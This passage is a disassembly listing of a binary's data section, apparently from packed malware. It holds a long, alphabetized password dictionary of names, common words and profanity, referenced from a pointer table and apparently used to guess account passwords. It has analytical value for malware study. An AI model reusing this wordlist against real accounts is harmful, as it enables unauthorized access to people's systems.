aDrdoom		db 'drdoom',0           ; DATA XREF: .nsp0:0042CBB4o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: .nsp0:0042CBB0o
		align 4
aDownload	db 'download',0         ; DATA XREF: .nsp0:0042CBACo
		align 4
aDope		db 'dope',0             ; DATA XREF: .nsp0:0042CBA8o
		align 4
aDoors		db 'doors',0            ; DATA XREF: .nsp0:0042CBA4o
		align 4
aDoor		db 'door',0             ; DATA XREF: .nsp0:0042CBA0o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: .nsp0:0042CB9Co
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: .nsp0:0042CB98o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: .nsp0:0042CB94o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: .nsp0:0042CB90o
		align 4
aDoom		db 'doom',0             ; DATA XREF: .nsp0:0042CB8Co
		align 4
aDong		db 'dong',0             ; DATA XREF: .nsp0:0042CB88o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: .nsp0:0042CB84o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: .nsp0:0042CB80o
		align 4
aDisplay	db 'display',0          ; DATA XREF: .nsp0:0042CB7Co
aDisney		db 'disney',0           ; DATA XREF: .nsp0:0042CB78o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: .nsp0:0042CB74o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: .nsp0:0042CB70o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: .nsp0:0042CB6Co
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: .nsp0:0042CB68o
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: .nsp0:0042CB64o
		align 4
aDisc		db 'disc',0             ; DATA XREF: .nsp0:0042CB60o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: .nsp0:0042CB5Co
		align 4
aDirector	db 'director',0         ; DATA XREF: .nsp0:0042CB58o
		align 4
aDirect		db 'direct',0           ; DATA XREF: .nsp0:0042CB54o
		align 10h
aDipshit	db 'dipshit',0          ; DATA XREF: .nsp0:0042CB50o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .nsp0:0042CB4Co
		align 4
aDigital	db 'digital',0          ; DATA XREF: .nsp0:0042CB48o
aDieter		db 'dieter',0           ; DATA XREF: .nsp0:0042CB44o
		align 4
aDiet		db 'diet',0             ; DATA XREF: .nsp0:0042CB40o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: .nsp0:0042CB3Co
aDick		db 'dick',0             ; DATA XREF: .nsp0:0042CB38o
		align 4
aDice		db 'dice',0             ; DATA XREF: .nsp0:0042CB34o
		align 4
aDiane		db 'diane',0            ; DATA XREF: .nsp0:0042CB30o
		align 4
aDiana		db 'diana',0            ; DATA XREF: .nsp0:0042CB2Co
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: .nsp0:0042CB28o
aDial		db 'dial',0             ; DATA XREF: .nsp0:0042CB24o
		align 4
aDevice		db 'device',0           ; DATA XREF: .nsp0:0042CB20o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: .nsp0:0042CB1Co
aDesperat	db 'desperat',0         ; DATA XREF: .nsp0:0042CB18o
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: .nsp0:0042CB14o
aDesk		db 'desk',0             ; DATA XREF: .nsp0:0042CB10o
		align 10h
aDesiree	db 'desiree',0          ; DATA XREF: .nsp0:0042CB0Co
aDennis		db 'dennis',0           ; DATA XREF: .nsp0:0042CB08o
		align 10h
aDenise		db 'denise',0           ; DATA XREF: .nsp0:0042CB04o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: .nsp0:0042CB00o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: .nsp0:0042CAFCo
		align 4
aDelta		db 'delta',0            ; DATA XREF: .nsp0:0042CAF8o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: .nsp0:0042CAF4o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: .nsp0:0042CAF0o
aDeck		db 'deck',0             ; DATA XREF: .nsp0:0042CAE8o
		align 4
aDecember	db 'december',0         ; DATA XREF: .nsp0:0042CAE4o
		align 4
aDebug		db 'debug',0            ; DATA XREF: .nsp0:0042CAE0o
		align 10h
aDeborah	db 'deborah',0          ; DATA XREF: .nsp0:0042CADCo
aDebbie		db 'debbie',0           ; DATA XREF: .nsp0:0042CAD8o
		align 10h
aDeathsta	db 'deathsta',0         ; DATA XREF: .nsp0:0042CAD4o
		align 4
aDead		db 'dead',0             ; DATA XREF: .nsp0:0042CAD0o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .nsp0:0042CACCo
		align 4
aDave		db 'dave',0             ; DATA XREF: .nsp0:0042CAC8o
		align 4
aData		db 'data',0             ; DATA XREF: .nsp0:0042CAC4o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: .nsp0:0042CAC0o
		align 4
aDark		db 'dark',0             ; DATA XREF: .nsp0:0042CABCo
		align 10h
aDapper		db 'dapper',0           ; DATA XREF: .nsp0:0042CAB8o
		align 4
aDanny		db 'danny',0            ; DATA XREF: .nsp0:0042CAB4o
		align 10h
aDanielle	db 'danielle',0         ; DATA XREF: .nsp0:0042CAB0o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: .nsp0:0042CAACo
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .nsp0:0042CAA8o
		align 4
aDana		db 'dana',0             ; DATA XREF: .nsp0:0042CAA4o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .nsp0:0042CAA0o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: .nsp0:0042CA9Co
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .nsp0:0042CA98o
aCyberspa	db 'cyberspa',0         ; DATA XREF: .nsp0:0042CA94o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: .nsp0:0042CA90o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: .nsp0:0042CA8Co
		align 4
aCustomer	db 'customer',0         ; DATA XREF: .nsp0:0042CA88o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: .nsp0:0042CA84o
		align 10h
aCshrc		db 'cshrc',0            ; DATA XREF: .nsp0:0042CA80o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: .nsp0:0042CA7Co
aCristina	db 'cristina',0         ; DATA XREF: .nsp0:0042CA78o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: .nsp0:0042CA74o
		align 4
aCrime		db 'crime',0            ; DATA XREF: .nsp0:0042CA70o
		align 10h
aCretin		db 'cretin',0           ; DATA XREF: .nsp0:0042CA6Co
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: .nsp0:0042CA68o
		align 4
aCredit		db 'credit',0           ; DATA XREF: .nsp0:0042CA64o
		align 4
aCreature	db 'creature',0         ; DATA XREF: .nsp0:0042CA60o
		align 4
aCreation	db 'creation',0         ; DATA XREF: .nsp0:0042CA5Co
		align 4
aCreate		db 'create',0           ; DATA XREF: .nsp0:0042CA58o
		align 4
aCream		db 'cream',0            ; DATA XREF: .nsp0:0042CA54o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .nsp0:0042CA50o
		align 10h
aCrack		db 'crack',0            ; DATA XREF: .nsp0:0042CA4Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: .nsp0:0042CA48o
		align 10h
aCouscous	db 'couscous',0         ; DATA XREF: .nsp0:0042CA44o
		align 4
aCountry	db 'country',0          ; DATA XREF: .nsp0:0042CA40o
aCounters	db 'counters',0         ; DATA XREF: .nsp0:0042CA3Co
		align 10h
aCorrect	db 'correct',0          ; DATA XREF: .nsp0:0042CA38o
aCorneliu	db 'corneliu',0         ; DATA XREF: .nsp0:0042CA34o
		align 4
aCopy		db 'copy',0             ; DATA XREF: .nsp0:0042CA30o
		align 4
aCops		db 'cops',0             ; DATA XREF: .nsp0:0042CA2Co
		align 4
aCopper		db 'copper',0           ; DATA XREF: .nsp0:0042CA28o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: .nsp0:0042CA24o
		align 4
aCool		db 'cool',0             ; DATA XREF: .nsp0:0042CA20o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: .nsp0:0042CA1Co
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .nsp0:0042CA18o
		align 10h
aCook		db 'cook',0             ; DATA XREF: .nsp0:0042CA14o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40CE55+1F88o
					; .nsp0:0042CA10o
		align 4
aConsole	db 'console',0          ; DATA XREF: .nsp0:0042CA0Co
aConserva	db 'conserva',0         ; DATA XREF: .nsp0:0042CA08o
		align 4
aConnie		db 'connie',0           ; DATA XREF: .nsp0:0042CA04o
		align 10h
aCondom		db 'condom',0           ; DATA XREF: .nsp0:0042C9FCo
		align 4
aCondo		db 'condo',0            ; DATA XREF: .nsp0:0042C9F8o
		align 10h
aComrades	db 'comrades',0         ; DATA XREF: .nsp0:0042C9F4o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: .nsp0:0042C9F0o
aComputin	db 'computin',0         ; DATA XREF: .nsp0:0042C9ECo
		align 10h
aCompany	db 'company',0          ; DATA XREF: .nsp0:0042C9E8o
aCommrade	db 'commrade',0         ; DATA XREF: .nsp0:0042C9E4o
		align 4
aCommit		db 'commit',0           ; DATA XREF: .nsp0:0042C9E0o
		align 4
aComics		db 'comics',0           ; DATA XREF: .nsp0:0042C9DCo
		align 4
aCombat		db 'combat',0           ; DATA XREF: .nsp0:0042C9D8o
		align 4
aColor		db 'color',0            ; DATA XREF: .nsp0:0042C9D4o
		align 4
aCollins	db 'collins',0          ; DATA XREF: .nsp0:0042C9D0o
aCold		db 'cold',0             ; DATA XREF: .nsp0:0042C9CCo
		align 4
aCola		db 'cola',0             ; DATA XREF: .nsp0:0042C9C8o
		align 4
aCoke		db 'coke',0             ; DATA XREF: .nsp0:0042C9C4o
		align 4
aCoin		db 'coin',0             ; DATA XREF: .nsp0:0042C9C0o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: .nsp0:0042C9BCo
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: .nsp0:0042C9B8o
		align 10h
aCodename	db 'codename',0         ; DATA XREF: .nsp0:0042C9B4o
		align 4
aCode		db 'code',0             ; DATA XREF: .nsp0:0042C9B0o
		align 4
aCock		db 'cock',0             ; DATA XREF: .nsp0:0042C9ACo
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: .nsp0:0042C9A8o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: .nsp0:0042C9A4o
		align 4
aCoast		db 'coast',0            ; DATA XREF: .nsp0:0042C9A0o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: .nsp0:0042C99Co
		align 4
aCluster	db 'cluster',0          ; DATA XREF: .nsp0:0042C998o
aClinton	db 'clinton',0          ; DATA XREF: .nsp0:0042C994o
aCleavage	db 'cleavage',0         ; DATA XREF: .nsp0:0042C990o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: .nsp0:0042C98Co
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: .nsp0:0042C988o
aClassic	db 'classic',0          ; DATA XREF: .nsp0:0042C984o
aClasses	db 'classes',0          ; DATA XREF: .nsp0:0042C980o
aClass		db 'class',0            ; DATA XREF: .nsp0:0042C97Co
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: .nsp0:0042C978o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: .nsp0:0042C974o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: .nsp0:0042C970o
		align 4
aChristy	db 'christy',0          ; DATA XREF: .nsp0:0042C96Co
aChristin	db 'christin',0         ; DATA XREF: .nsp0:0042C968o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .nsp0:0042C964o
		align 4
aChip		db 'chip',0             ; DATA XREF: .nsp0:0042C960o
		align 10h
aChester	db 'chester',0          ; DATA XREF: .nsp0:0042C95Co
aChess		db 'chess',0            ; DATA XREF: .nsp0:0042C958o
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: .nsp0:0042C954o
		align 4
aChem		db 'chem',0             ; DATA XREF: .nsp0:0042C950o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: .nsp0:0042C94Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: .nsp0:0042C948o
		align 4
aCharming	db 'charming',0         ; DATA XREF: .nsp0:0042C944o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: .nsp0:0042C940o
aCharles	db 'charles',0          ; DATA XREF: .nsp0:0042C93Co
aCharity	db 'charity',0          ; DATA XREF: .nsp0:0042C938o
aChange		db 'change',0           ; DATA XREF: .nsp0:0042C934o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: .nsp0:0042C930o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: .nsp0:0042C92Co
aCeltic		db 'celtic',0           ; DATA XREF: .nsp0:0042C928o
		align 4
aCelt		db 'celt',0             ; DATA XREF: .nsp0:0042C924o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: .nsp0:0042C920o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: .nsp0:0042C91Co
		align 4
aCave		db 'cave',0             ; DATA XREF: .nsp0:0042C918o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: .nsp0:0042C914o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: .nsp0:0042C910o
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: .nsp0:0042C90Co
		align 4
aCastle		db 'castle',0           ; DATA XREF: .nsp0:0042C908o
		align 4
aCash		db 'cash',0             ; DATA XREF: .nsp0:0042C904o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: .nsp0:0042C900o
		align 4
aCarson		db 'carson',0           ; DATA XREF: .nsp0:0042C8FCo
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: .nsp0:0042C8F8o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: .nsp0:0042C8F4o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: .nsp0:0042C8F0o
		align 10h
aCarole		db 'carole',0           ; DATA XREF: .nsp0:0042C8ECo
		align 4
aCarol		db 'carol',0            ; DATA XREF: .nsp0:0042C8E8o
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: .nsp0:0042C8E4o
		align 4
aCarla		db 'carla',0            ; DATA XREF: .nsp0:0042C8E0o
		align 10h
aCaren		db 'caren',0            ; DATA XREF: .nsp0:0042C8DCo
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: .nsp0:0042C8D8o
		align 4
aCard		db 'card',0             ; DATA XREF: .nsp0:0042C8D4o
		align 4
aCapture	db 'capture',0          ; DATA XREF: .nsp0:0042C8D0o
aCaptain	db 'captain',0          ; DATA XREF: .nsp0:0042C8CCo
aCantor		db 'cantor',0           ; DATA XREF: .nsp0:0042C8C8o
		align 4
aCandy		db 'candy',0            ; DATA XREF: .nsp0:0042C8C4o
		align 4
aCandi		db 'candi',0            ; DATA XREF: .nsp0:0042C8C0o
		align 4
aCamping	db 'camping',0          ; DATA XREF: .nsp0:0042C8BCo
aCampanil	db 'campanil',0         ; DATA XREF: .nsp0:0042C8B8o
		align 4
aCamille	db 'camille',0          ; DATA XREF: .nsp0:0042C8B4o
aCaliforn	db 'californ',0         ; DATA XREF: .nsp0:0042C8B0o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: .nsp0:0042C8ACo
		align 4
aButt		db 'butt',0             ; DATA XREF: .nsp0:0042C8A8o
		align 10h
aButch		db 'butch',0            ; DATA XREF: .nsp0:0042C8A4o
		align 4
aBurn		db 'burn',0             ; DATA XREF: .nsp0:0042C8A0o
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: .nsp0:0042C89Co
aBung		db 'bung',0             ; DATA XREF: .nsp0:0042C898o
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: .nsp0:0042C894o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: .nsp0:0042C890o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: .nsp0:0042C88Co
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: .nsp0:0042C888o
		align 4
aBrute		db 'brute',0            ; DATA XREF: .nsp0:0042C884o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: .nsp0:0042C880o
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: .nsp0:0042C87Co
aBroadway	db 'broadway',0         ; DATA XREF: .nsp0:0042C878o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: .nsp0:0042C874o
aBrian		db 'brian',0            ; DATA XREF: .nsp0:0042C870o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: .nsp0:0042C86Co
		align 4
aBreast		db 'breast',0           ; DATA XREF: .nsp0:0042C868o
		align 4
aBreak		db 'break',0            ; DATA XREF: .nsp0:0042C864o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: .nsp0:0042C860o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: .nsp0:0042C85Co
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: .nsp0:0042C858o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: .nsp0:0042C854o
aBoyscout	db 'boyscout',0         ; DATA XREF: .nsp0:0042C850o
		align 4
aBorn		db 'born',0             ; DATA XREF: .nsp0:0042C84Co
		align 10h
aBook		db 'book',0             ; DATA XREF: .nsp0:0042C848o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: .nsp0:0042C844o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: .nsp0:0042C840o
		align 4
aBoner		db 'boner',0            ; DATA XREF: .nsp0:0042C83Co
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: .nsp0:0042C838o
		align 4
aBoard		db 'board',0            ; DATA XREF: .nsp0:0042C834o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: .nsp0:0042C830o
		align 4
aBlue		db 'blue',0             ; DATA XREF: .nsp0:0042C82Co
		align 10h
aBlowjob	db 'blowjob',0          ; DATA XREF: .nsp0:0042C828o
aBlow		db 'blow',0             ; DATA XREF: .nsp0:0042C824o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .nsp0:0042C820o
		align 4
aBlood		db 'blood',0            ; DATA XREF: .nsp0:0042C81Co
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: .nsp0:0042C818o
aBlonde		db 'blonde',0           ; DATA XREF: .nsp0:0042C814o
		align 4
aBlack		db 'black',0            ; DATA XREF: .nsp0:0042C810o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .nsp0:0042C80Co
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: .nsp0:0042C808o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .nsp0:0042C804o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: .nsp0:0042C800o
		align 4
aBird		db 'bird',0             ; DATA XREF: .nsp0:0042C7FCo
		align 4
aBios		db 'bios',0             ; DATA XREF: .nsp0:0042C7F8o
		align 4
aBinary		db 'binary',0           ; DATA XREF: .nsp0:0042C7F4o
		align 4
aBill		db 'bill',0             ; DATA XREF: .nsp0:0042C7F0o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .nsp0:0042C7ECo
aBicamera	db 'bicamera',0         ; DATA XREF: .nsp0:0042C7E8o
		align 10h
aBible		db 'bible',0            ; DATA XREF: .nsp0:0042C7E4o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: .nsp0:0042C7E0o
aBetty		db 'betty',0            ; DATA XREF: .nsp0:0042C7DCo
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: .nsp0:0042C7D8o
		align 10h
aBeth		db 'beth',0             ; DATA XREF: .nsp0:0042C7D4o
		align 4
aBeta		db 'beta',0             ; DATA XREF: .nsp0:0042C7D0o
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: .nsp0:0042C7CCo
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: .nsp0:0042C7C8o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: .nsp0:0042C7C4o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: .nsp0:0042C7C0o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: .nsp0:0042C7BCo
aBenz		db 'benz',0             ; DATA XREF: .nsp0:0042C7B8o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: .nsp0:0042C7B4o
aBell		db 'bell',0             ; DATA XREF: .nsp0:0042C7B0o
		align 4
aBehead		db 'behead',0           ; DATA XREF: .nsp0:0042C7ACo
		align 10h
aBegin		db 'begin',0            ; DATA XREF: .nsp0:0042C7A8o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: .nsp0:0042C7A4o
		align 4
aBecky		db 'becky',0            ; DATA XREF: .nsp0:0042C7A0o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .nsp0:0042C79Co
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: .nsp0:0042C798o
		align 4
aBeater		db 'beater',0           ; DATA XREF: .nsp0:0042C794o
		align 4
aBeast		db 'beast',0            ; DATA XREF: .nsp0:0042C790o
		align 4
aBear		db 'bear',0             ; DATA XREF: .nsp0:0042C78Co
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .nsp0:0042C788o
		align 10h
aBeach		db 'beach',0            ; DATA XREF: .nsp0:0042C784o
		align 4
aBatman		db 'batman',0           ; DATA XREF: .nsp0:0042C780o
		align 10h
aBatch		db 'batch',0            ; DATA XREF: .nsp0:0042C77Co
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: .nsp0:0042C778o
aBass		db 'bass',0             ; DATA XREF: .nsp0:0042C774o
		align 4
aBasic		db 'basic',0            ; DATA XREF: .nsp0:0042C770o
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: .nsp0:0042C76Co
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .nsp0:0042C768o
aBart		db 'bart',0             ; DATA XREF: .nsp0:0042C764o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .nsp0:0042C760o
		align 4
aBarf		db 'barf',0             ; DATA XREF: .nsp0:0042C75Co
		align 10h
aBare		db 'bare',0             ; DATA XREF: .nsp0:0042C758o
		align 4
aBarber		db 'barber',0           ; DATA XREF: .nsp0:0042C754o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: .nsp0:0042C750o
aBanks		db 'banks',0            ; DATA XREF: .nsp0:0042C74Co
		align 10h
aBank		db 'bank',0             ; DATA XREF: .nsp0:0042C748o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: .nsp0:0042C744o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: .nsp0:0042C740o
aBanana		db 'banana',0           ; DATA XREF: .nsp0:0042C73Co
		align 10h
aBall		db 'ball',0             ; DATA XREF: .nsp0:0042C738o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:0042C734o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: .nsp0:0042C730o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: .nsp0:0042C72Co
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: .nsp0:0042C728o
aBaby		db 'baby',0             ; DATA XREF: .nsp0:0042C724o
		align 4
aBabe		db 'babe',0             ; DATA XREF: .nsp0:0042C720o
		align 4
aAzure		db 'azure',0            ; DATA XREF: .nsp0:0042C71Co
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: .nsp0:0042C718o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .nsp0:0042C714o
		align 4
aAttack		db 'attack',0           ; DATA XREF: .nsp0:0042C710o
		align 10h
aAtom		db 'atom',0             ; DATA XREF: .nsp0:0042C70Co
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .nsp0:0042C708o
		align 4
aAthena		db 'athena',0           ; DATA XREF: .nsp0:0042C704o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .nsp0:0042C700o
aAsian		db 'asian',0            ; DATA XREF: .nsp0:0042C6FCo
		align 4
aArtist		db 'artist',0           ; DATA XREF: .nsp0:0042C6F8o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: .nsp0:0042C6F4o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .nsp0:0042C6F0o
		align 4
aArmy		db 'army',0             ; DATA XREF: .nsp0:0042C6ECo
		align 4
aArlene		db 'arlene',0           ; DATA XREF: .nsp0:0042C6E8o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: .nsp0:0042C6E4o
aAria		db 'aria',0             ; DATA XREF: .nsp0:0042C6E0o
		align 4
aApril		db 'april',0            ; DATA XREF: .nsp0:0042C6DCo
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .nsp0:0042C6D8o
		align 4
aAnything	db 'anything',0         ; DATA XREF: .nsp0:0042C6D4o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: .nsp0:0042C6D0o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: .nsp0:0042C6CCo
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: .nsp0:0042C6C8o
aAnswer		db 'answer',0           ; DATA XREF: .nsp0:0042C6C4o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: .nsp0:0042C6C0o
		align 4
aAnon		db 'anon',0             ; DATA XREF: .nsp0:0042C6BCo
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .nsp0:0042C6B8o
aAnne		db 'anne',0             ; DATA XREF: .nsp0:0042C6B4o
		align 4
aAnna		db 'anna',0             ; DATA XREF: .nsp0:0042C6B0o
		align 4
aAnita		db 'anita',0            ; DATA XREF: .nsp0:0042C6ACo
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .nsp0:0042C6A8o
aAnimal		db 'animal',0           ; DATA XREF: .nsp0:0042C6A4o
		align 4
aAngie		db 'angie',0            ; DATA XREF: .nsp0:0042C6A0o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .nsp0:0042C69Co
		align 10h
aAngela		db 'angela',0           ; DATA XREF: .nsp0:0042C698o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: .nsp0:0042C694o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: .nsp0:0042C690o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: .nsp0:0042C68Co
		align 4
aAndroid	db 'android',0          ; DATA XREF: .nsp0:0042C688o
aAndrea		db 'andrea',0           ; DATA XREF: .nsp0:0042C684o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: .nsp0:0042C680o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .nsp0:0042C67Co
aAnarchis	db 'anarchis',0         ; DATA XREF: .nsp0:0042C678o
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: .nsp0:0042C674o
		align 4
aAnal		db 'anal',0             ; DATA XREF: .nsp0:0042C670o
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: .nsp0:0042C66Co
		align 4
aAmerica	db 'america',0          ; DATA XREF: .nsp0:0042C668o
aAmber		db 'amber',0            ; DATA XREF: .nsp0:0042C664o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: .nsp0:0042C660o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:0042C65Co
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:0042C658o
		align 4
aAllow		db 'allow',0            ; DATA XREF: .nsp0:0042C654o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: .nsp0:0042C650o
aAlison		db 'alison',0           ; DATA XREF: .nsp0:0042C64Co
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: .nsp0:0042C648o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: .nsp0:0042C644o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: .nsp0:0042C640o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: .nsp0:0042C63Co
aAlias		db 'alias',0            ; DATA XREF: .nsp0:0042C638o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: .nsp0:0042C634o
aAlexande	db 'alexande',0         ; DATA XREF: .nsp0:0042C630o
		align 4
aAlex		db 'alex',0             ; DATA XREF: .nsp0:0042C62Co
		align 4
aAlert		db 'alert',0            ; DATA XREF: .nsp0:0042C628o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .nsp0:0042C624o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .nsp0:0042C620o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: .nsp0:0042C61Co
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: .nsp0:0042C618o
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: .nsp0:0042C614o
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:0042C610o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .nsp0:0042C60Co
		align 10h
aAdult		db 'adult',0            ; DATA XREF: .nsp0:0042C608o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:0042C604o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:0042C600o
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:0042C5FCo
		align 4
aAction		db 'action',0           ; DATA XREF: .nsp0:0042C5F8o
		align 4
aAccount	db 'account',0          ; DATA XREF: .nsp0:0042C5F4o
aAcademic	db 'academic',0         ; DATA XREF: .nsp0:0042C5ECo
		align 10h
aAcademia	db 'academia',0         ; DATA XREF: .nsp0:0042C5E8o
		align 4
a000000		db '000000',0           ; DATA XREF: .nsp0:0042C5E4o
					; .nsp0:0042DFFCo
		align 4
